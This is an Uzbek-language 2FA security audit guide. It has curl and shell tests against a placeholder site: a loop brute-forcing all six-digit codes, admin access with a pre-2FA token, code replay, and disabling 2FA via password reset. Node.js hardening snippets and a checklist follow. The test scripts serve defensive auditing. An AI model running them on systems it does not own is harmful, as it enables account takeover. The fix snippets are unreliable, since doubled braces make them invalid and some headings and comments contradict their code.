Ikki faktarli autentifikatsiya paroldan keyingi qadamni mustahkamlaydi. Hujumchi kod kiritmasdan admin paneliga o'tsa — barcha parollar kuchsiz bo'lib qoladi.

# 1) 2FA endpointlari
grep -rniE "twofa|2fa|totp|otp|verify.*code|mfa" src/routes/ src/controllers/ | head

# 2) rate limit bormi?
grep -rniE "rateLimit|limiter|attempts|lockout" src/ | head

# 3) 2FA'da parolni qayta so'rayaptimi?
grep -rnE "verifyTfaCode|verify-tfa" src/controllers/authController.js | head

# 1) parolsiz o'tishga urinish
curl -s -X POST https://site.uz/api/auth/admin-panel-login \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@site.uz","password":"parol"}' | jq .
# 2FA talab qilinishi kerak — aks holda zaiflik

# 2) tem token bilan admin endpoint
T=$(curl -s -X POST https://site.uz/api/auth/admin-panel-login \
  -H "Content-Type: application/json" -d '{"email":"admin@site.uz","password":"parol"}' \
  | jq -r .token)
curl -s -o /dev/null -w "%{http_code}\n" https://site.uz/api/admin/users -H "Authorization: Bearer $T"
# 200 → tem token to'g'ridan-to'g'ri admin

# 3) kodni brute force (o'z tizimingiz!)
for C in $(seq 0 999999); do
  R=$(curl -s -X POST https://site.uz/api/auth/verify-tfa -H "Content-Type: application/json" \
      -H "Authorization: Bearer $T" -d "{\"code\":\"$(printf '%06d' $C)\"}")
  echo "$R" | grep -q '"success":true' && echo "  TOPILDI: $C" && break
  [ $((C % 1000)) -eq 0 ] && echo "  ...$C"
done

# 4) vaqt oynasi (TOTP step)
python3 -c "
import hmac,hashlib,struct,time
def totp(s, step=30, d=0):
    k = base64.b32decode(s.upper() + '=' * ((8-len(s)%8)%8))
    c = struct.pack('>Q', int(time.time()//step) + d)
    h = hmac.new(k, c, hashlib.sha1).digest()
    o = h[19] & 15
    return str((struct.unpack('>I', h[o:o+4])[0] & 0x7fffffff) % 1000000).zfill(6)
import base64
S='JBSWY3DPEHPK3PXP'
for d in (-2,-1,0,1,2): print(d, totp(S,30,d))"
# server bir necha stepni qabul qilsa — kengaytirilgan oyna

# 5) eski kod qayta ishlatiladimi? (replay)
CODE=$(python3 -c "..." )
curl -s -X POST https://site.uz/api/auth/verify-tfa -H "Authorization: Bearer $T" \
  -H "Content-Type: application/json" -d "{\"code\":\"$CODE\"}" | jq .
sleep 35
curl -s -X POST https://site.uz/api/auth/verify-tfa -H "Authorization: Bearer $T" \
  -H "Content-Type: application/json" -d "{\"code\":\"$CODE\"}" | jq .
# ikkalasi ham true → replay mumkin

# 6) 2FA yoqish yo'li (parol tiklash)
curl -s -X POST https://site.uz/api/auth/support-reset-password \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@site.uz","security_id":"12345678","new_password":"Yangi1!"}' | jq .
curl -s -X POST https://site.uz/api/auth/disable-2fa \
  -H "Authorization: Bearer $T" -H "Content-Type: application/json" -d '{}' | jq .

1. Temp token chegarasi

// FAQAT shu uchun: scope va qisqa muddat
const t = jwt.sign({{ userId, purpose: '2fa_pending' }}, SECRET,
  {{ expiresIn: '5m', algorithm: 'HS256' }});

// middleware: har bir admin route da purpose tekshirilsin
if (req.token.purpose !== '2fa_pending' && routeNeedsFullAuth) return fail();

2. Rate limit — 2 bosqichli

// parol bosqichi (IP + email)
limit('login_fail', {{ points: 10, duration: 15 * 60 }});

// 2FA bosqichi (ko'proq — 6 raqam = 1 mln)
limit('tfa_fail', {{ points: 5, duration: 15 * 60 }});
// muvaffaqiyatda tozalash, urishlar bo'lganda email/TGA yuborish

3. Replay himoyasi

// ishlatilgan kodni eslab qolish (30 sek)
const used = await redis.get(`tfa_used:${{userId}}`);
if (used === code) return fail('kod allaqachon ishlatilgan');
await redis.set(`tfa_used:${{userId}}`, code, 'EX', 30);
// yoki: last_step raqamini saqlab, tekshirish
if (step <= user.lastTfaStep) return fail();

4. Parol tiklash 2FA'ni olib tashlasin

// XAVFLI: security_id → parol yangilash → 2FA o'chadi
// TO'G'RI: parol tiklash 2FA holatiga TOG'RILAMASIN.
//         2FA faqat kirishda ishlaydi, tiklashda emas —
//         yoki tiklashda alohida tasdiqlash (SMS + kutish)

5. Vaqt oynasi

// faqat joriy step (drift = ±1 emas)
const step = Math.floor(Date.now() / 1000 / 30);
if (Math.abs(step - tokenStep) > 1) return fail();

• Temp token faqat `/2fa/verify` da ishlaydi
• 2FA xatolarida 5 urish / 15 daqiqa blok
• Ishlatilgan kod 30 sek qayta qabul qilinmaydi
• Parol tiklash 2FA holatiga tegmaydi
• Backup kodlar bir marta ishlatiladi va saqlanadi
• Yangi 2FA yoqilsa, eski tem tokenlar bekor qilinadi
• Kod brute force bilan sinab ko'rildi